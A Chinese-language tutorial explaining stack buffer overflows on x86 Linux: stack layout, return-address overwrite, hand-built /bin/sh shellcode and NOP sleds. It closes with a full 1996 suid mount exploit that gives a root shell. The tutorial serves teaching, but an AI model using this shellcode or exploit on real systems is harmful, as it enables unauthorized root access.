缓冲区溢出机理分析
/ns/ld/softld/data/20010113064154.htm
1.什么是缓冲区溢出?
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buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...
指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
example1.c
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void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
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上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intelx86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应修改。
2.制造缓冲区溢出
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一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是:
+------------------+ 内存低端
| 程序段 |
|------------------|
| 数据段 |
|------------------|
| 堆栈 |
+------------------+ 内存高端
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。以下面程序为例:
example2.c
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void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
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当调用函数function()时,堆栈如下:
低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 栈底
不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的 出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。
3.通过缓冲区溢出获得用户SHELL
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如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内 容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。
低内存端 buffer sfp ret *str 高内存端
<------ [ ][ ][ ][ ]
栈顶 ^ | 栈底
|________________________|
通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码
example3.c
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void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
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将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
example4.c
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char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
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这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从
strcpy()中返回时,就会转而执行shell。
4.利用缓冲区溢出进行的系统攻击
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如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。
低内存端 buffer sfp ret *str 高内存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|
图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:
example5.c
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/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
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程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。